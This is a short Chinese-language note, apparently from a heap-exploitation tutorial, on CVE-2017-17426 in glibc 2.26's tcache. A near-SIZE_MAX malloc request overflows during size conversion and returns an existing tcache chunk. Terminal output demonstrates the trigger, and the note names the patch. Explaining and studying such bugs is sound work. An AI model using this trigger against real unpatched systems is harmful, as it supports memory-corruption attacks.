glibc-2.26 中的 tcache 机制被发现了安全漏洞。由于 __libc_malloc()
使用 request2size()
来将请求大小转换为实际块大小,该函数不会进行整数溢出检查。所以如果请求一个非常大的堆块(接近 SIZE_MAX),那么就会导致整数溢出,从而导致 malloc 错误地返回 tcache bin 里的堆块。
下面演示了该漏洞的使用:
第一次申请一块大小为 10 的 chunk,接下来再申请一块超大 chunk,因为申请 tcache 是在最前面的操作,因此就会出现漏洞。
root@3b813fd9a10d:/ctf/work# gcc cve-2017-17426.c
cve-2017-17426.c: In function ‘main’:
cve-2017-17426.c:9:12: warning: argument 1 value ‘18446744073709551613’ exceeds maximum
root@3b813fd9a10d:/ctf/work# /glibc/2.26/64/lib/ld-2.26.so ./a.out
malloc(10): 0x555555d38260
malloc(((size_t)~0) - 2): 0x555555d38260
root@3b813fd9a10d:/ctf/work# /glibc/2.27/64/lib/ld-2.27.so ./a.out
malloc(10): 0x555556828260
malloc(((size_t)~0) - 2): (nil)
修复方法是用 checked_request2size()
函数替换 request2size()
函数,该函数实现了对整数溢出的检查。